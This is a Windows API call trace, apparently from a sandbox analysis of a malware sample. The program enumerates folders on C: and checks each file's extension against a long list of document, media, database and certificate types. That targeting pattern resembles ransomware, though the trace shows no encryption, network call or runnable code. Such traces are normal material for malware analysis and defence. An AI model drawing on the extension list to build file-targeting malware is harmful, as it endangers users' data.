	[0059.855] lstrcmpiW (lpString1=".mp3", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".mp4") returned 4
	[0059.855] lstrcmpiW (lpString1=".mp4", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".mpeg") returned 5
	[0059.855] lstrcmpiW (lpString1=".mpeg", lpString2="e.cmd") returned -1
	[0059.855] lstrlenW (lpString=".mpg") returned 4
	[0059.855] lstrcmpiW (lpString1=".mpg", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".mpv") returned 4
	[0059.855] lstrcmpiW (lpString1=".mpv", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".mrw") returned 4
	[0059.855] lstrcmpiW (lpString1=".mrw", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".msg") returned 4
	[0059.855] lstrcmpiW (lpString1=".msg", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".mxl") returned 4
	[0059.855] lstrcmpiW (lpString1=".mxl", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".myd") returned 4
	[0059.855] lstrcmpiW (lpString1=".myd", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".myi") returned 4
	[0059.855] lstrcmpiW (lpString1=".myi", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".nef") returned 4
	[0059.855] lstrcmpiW (lpString1=".nef", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".nrw") returned 4
	[0059.855] lstrcmpiW (lpString1=".nrw", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".obj") returned 4
	[0059.855] lstrcmpiW (lpString1=".obj", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".odb") returned 4
	[0059.856] lstrcmpiW (lpString1=".odb", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".odc") returned 4
	[0059.856] lstrcmpiW (lpString1=".odc", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".odm") returned 4
	[0059.856] lstrcmpiW (lpString1=".odm", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".odp") returned 4
	[0059.856] lstrcmpiW (lpString1=".odp", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".ods") returned 4
	[0059.856] lstrcmpiW (lpString1=".ods", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".oft") returned 4
	[0059.856] lstrcmpiW (lpString1=".oft", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".one") returned 4
	[0059.856] lstrcmpiW (lpString1=".one", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".onepkg") returned 7
	[0059.856] lstrcmpiW (lpString1=".onepkg", lpString2="ete.cmd") returned -1
	[0059.856] lstrlenW (lpString=".onetoc2") returned 8
	[0059.856] lstrcmpiW (lpString1=".onetoc2", lpString2="lete.cmd") returned -1
	[0059.856] lstrlenW (lpString=".opt") returned 4
	[0059.856] lstrcmpiW (lpString1=".opt", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".oqy") returned 4
	[0059.856] lstrcmpiW (lpString1=".oqy", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".orf") returned 4
	[0059.856] lstrcmpiW (lpString1=".orf", lpString2=".cmd") returned 1
	[0059.856] lstrlenW (lpString=".p12") returned 4
	[0059.857] lstrcmpiW (lpString1=".p12", lpString2=".cmd") returned 1
	[0059.857] lstrlenW (lpString=".p7b") returned 4
	[0059.857] lstrcmpiW (lpString1=".p7b", lpString2=".cmd") returned 1
	[0059.857] lstrlenW (lpString=".p7c") returned 4
	[0059.857] lstrcmpiW (lpString1=".p7c", lpString2=".cmd") returned 1
	[0059.857] lstrlenW (lpString=".pam") returned 4
	[0059.857] lstrcmpiW (lpString1=".pam", lpString2=".cmd") returned 1
	[0059.857] lstrlenW (lpString=".pbm") returned 4
	[0059.857] lstrcmpiW (lpString1=".pbm", lpString2=".cmd") returned 1
	[0059.857] lstrlenW (lpString=".pct") returned 4
	[0059.857] lstrcmpiW (lpString1=".pct", lpString2=".cmd") returned 1
	[0059.857] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0059.857] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0059.857] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0059.858] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0059.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0059.858] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0059.858] FindClose (in: hFindFile=0x5e0730 | out: hFindFile=0x5e0730) returned 1
	[0059.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c00060 | out: hHeap=0x4f0000) returned 1
	[0059.860] FindNextFileW (in: hFindFile=0x508bd8, lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0059.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3c00060
	[0059.861] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0059.861] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5e0370
	[0059.861] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0059.861] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0059.861] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0059.861] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1
	[0059.861] lstrlenW (lpString="S-1-5-18") returned 8
	[0059.861] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1
	[0059.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3c40080
	[0059.861] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0059.862] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0470
	[0059.862] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.862] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0059.862] lstrlenW (lpString="desktop.ini") returned 11
	[0059.862] lstrlenW (lpString=".1cd") returned 4
	[0059.862] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0059.862] lstrlenW (lpString=".3ds") returned 4
	[0059.862] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0059.862] lstrlenW (lpString=".3fr") returned 4
	[0059.862] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0059.862] lstrlenW (lpString=".3g2") returned 4
	[0059.862] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0059.862] lstrlenW (lpString=".3gp") returned 4
	[0059.862] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0059.862] lstrlenW (lpString=".7z") returned 3
	[0059.862] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0059.862] lstrlenW (lpString=".accda") returned 6
	[0059.862] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0059.862] lstrlenW (lpString=".accdb") returned 6
	[0059.862] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0059.862] lstrlenW (lpString=".accdc") returned 6
	[0059.863] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0059.863] lstrlenW (lpString=".accde") returned 6
	[0059.863] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0059.863] lstrlenW (lpString=".accdt") returned 6
	[0059.863] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0059.863] lstrlenW (lpString=".accdw") returned 6
	[0059.863] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0059.863] lstrlenW (lpString=".adb") returned 4
	[0059.863] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0059.863] lstrlenW (lpString=".adp") returned 4
	[0059.863] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0059.863] lstrlenW (lpString=".ai") returned 3
	[0059.863] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0059.863] lstrlenW (lpString=".ai3") returned 4
	[0059.863] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0059.863] lstrlenW (lpString=".ai4") returned 4
	[0059.863] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0059.863] lstrlenW (lpString=".ai5") returned 4
	[0059.863] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0059.863] lstrlenW (lpString=".ai6") returned 4
	[0059.863] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0059.863] lstrlenW (lpString=".ai7") returned 4
	[0059.863] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0059.863] lstrlenW (lpString=".ai8") returned 4
	[0059.863] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0059.863] lstrlenW (lpString=".anim") returned 5
	[0059.863] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0059.863] lstrlenW (lpString=".arw") returned 4
	[0059.864] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0059.864] lstrlenW (lpString=".as") returned 3
	[0059.864] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0059.864] lstrlenW (lpString=".asa") returned 4
	[0059.864] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0059.864] lstrlenW (lpString=".asc") returned 4
	[0059.864] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0059.864] lstrlenW (lpString=".ascx") returned 5
	[0059.864] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0059.864] lstrlenW (lpString=".asm") returned 4
	[0059.864] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0059.864] lstrlenW (lpString=".asmx") returned 5
	[0059.864] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0059.864] lstrlenW (lpString=".asp") returned 4
	[0059.864] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0059.864] lstrlenW (lpString=".aspx") returned 5
	[0059.864] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0059.864] lstrlenW (lpString=".asr") returned 4
	[0059.864] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0059.864] lstrlenW (lpString=".asx") returned 4
	[0059.864] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0059.864] lstrlenW (lpString=".avi") returned 4
	[0059.864] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0059.864] lstrlenW (lpString=".avs") returned 4
	[0059.864] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0059.864] lstrlenW (lpString=".backup") returned 7
	[0059.864] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0059.864] lstrlenW (lpString=".bak") returned 4
	[0059.864] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".bay") returned 4
	[0059.865] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".bd") returned 3
	[0059.865] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0059.865] lstrlenW (lpString=".bin") returned 4
	[0059.865] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".bmp") returned 4
	[0059.865] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".bz2") returned 4
	[0059.865] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".c") returned 2
	[0059.865] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0059.865] lstrlenW (lpString=".cdr") returned 4
	[0059.865] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".cer") returned 4
	[0059.865] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".cf") returned 3
	[0059.865] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0059.865] lstrlenW (lpString=".cfc") returned 4
	[0059.865] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".cfm") returned 4
	[0059.865] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".cfml") returned 5
	[0059.865] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0059.865] lstrlenW (lpString=".cfu") returned 4
	[0059.865] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0059.865] lstrlenW (lpString=".chm") returned 4
	[0059.865] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".cin") returned 4
	[0059.866] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".class") returned 6
	[0059.866] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0059.866] lstrlenW (lpString=".clx") returned 4
	[0059.866] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".config") returned 7
	[0059.866] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0059.866] lstrlenW (lpString=".cpp") returned 4
	[0059.866] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".cr2") returned 4
	[0059.866] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".crt") returned 4
	[0059.866] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".crw") returned 4
	[0059.866] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".cs") returned 3
	[0059.866] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0059.866] lstrlenW (lpString=".css") returned 4
	[0059.866] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".csv") returned 4
	[0059.866] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".cub") returned 4
	[0059.866] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".dae") returned 4
	[0059.866] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".dat") returned 4
	[0059.866] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0059.866] lstrlenW (lpString=".db") returned 3
	[0059.866] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0059.867] lstrlenW (lpString=".dbf") returned 4
	[0059.867] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0059.867] lstrlenW (lpString=".dbx") returned 4
	[0059.867] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0059.867] lstrlenW (lpString=".dc3") returned 4
	[0059.867] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0059.867] lstrlenW (lpString=".dcm") returned 4
	[0059.867] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0059.867] lstrlenW (lpString=".dcr") returned 4
	[0059.867] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0059.867] lstrlenW (lpString=".der") returned 4
	[0059.867] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0059.867] lstrlenW (lpString=".dib") returned 4
	[0059.867] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0059.867] lstrlenW (lpString=".dic") returned 4
	[0059.867] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0059.867] lstrlenW (lpString=".dif") returned 4
	[0059.867] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0059.867] lstrlenW (lpString=".divx") returned 5
	[0059.868] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0059.868] lstrlenW (lpString=".djvu") returned 5
	[0059.868] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0059.868] lstrlenW (lpString=".dng") returned 4
	[0059.868] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0059.868] lstrlenW (lpString=".doc") returned 4
	[0059.868] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0059.868] lstrlenW (lpString=".docm") returned 5
	[0059.868] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0059.868] lstrlenW (lpString=".docx") returned 5
	[0059.868] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0059.868] lstrlenW (lpString=".dot") returned 4
	[0059.868] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0059.868] lstrlenW (lpString=".dotm") returned 5
	[0059.868] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0059.868] lstrlenW (lpString=".dotx") returned 5
	[0059.868] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0059.868] lstrlenW (lpString=".dpx") returned 4
	[0059.868] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0059.868] lstrlenW (lpString=".dqy") returned 4
	[0059.868] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0059.868] lstrlenW (lpString=".dsn") returned 4
	[0059.868] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0059.868] lstrlenW (lpString=".dt") returned 3
	[0059.868] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0059.868] lstrlenW (lpString=".dtd") returned 4
	[0059.868] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0059.868] lstrlenW (lpString=".dwg") returned 4
	[0059.868] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0059.868] lstrlenW (lpString=".dwt") returned 4
	[0059.868] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0059.868] lstrlenW (lpString=".dx") returned 3
	[0059.869] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0059.869] lstrlenW (lpString=".dxf") returned 4
	[0059.869] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".edml") returned 5
	[0059.869] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0059.869] lstrlenW (lpString=".efd") returned 4
	[0059.869] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".elf") returned 4
	[0059.869] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".emf") returned 4
	[0059.869] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".emz") returned 4
	[0059.869] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".epf") returned 4
	[0059.869] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".eps") returned 4
	[0059.869] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".epsf") returned 5
	[0059.869] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0059.869] lstrlenW (lpString=".epsp") returned 5
	[0059.869] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0059.869] lstrlenW (lpString=".erf") returned 4
	[0059.869] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".exr") returned 4
	[0059.869] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".f4v") returned 4
	[0059.869] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".fido") returned 5
	[0059.869] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0059.869] lstrlenW (lpString=".flm") returned 4
	[0059.869] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".flv") returned 4
	[0059.869] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0059.869] lstrlenW (lpString=".frm") returned 4
	[0059.870] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".fxg") returned 4
	[0059.870] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".geo") returned 4
	[0059.870] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".gif") returned 4
	[0059.870] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".grs") returned 4
	[0059.870] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".gz") returned 3
	[0059.870] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0059.870] lstrlenW (lpString=".h") returned 2
	[0059.870] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0059.870] lstrlenW (lpString=".hdr") returned 4
	[0059.870] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".hpp") returned 4
	[0059.870] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".hta") returned 4
	[0059.870] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".htc") returned 4
	[0059.870] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".htm") returned 4
	[0059.870] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".html") returned 5
	[0059.870] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0059.870] lstrlenW (lpString=".icb") returned 4
	[0059.870] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".ics") returned 4
	[0059.870] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".iff") returned 4
	[0059.870] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".inc") returned 4
	[0059.870] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0059.870] lstrlenW (lpString=".indd") returned 5
	[0059.871] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0059.871] lstrlenW (lpString=".ini") returned 4
	[0059.871] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
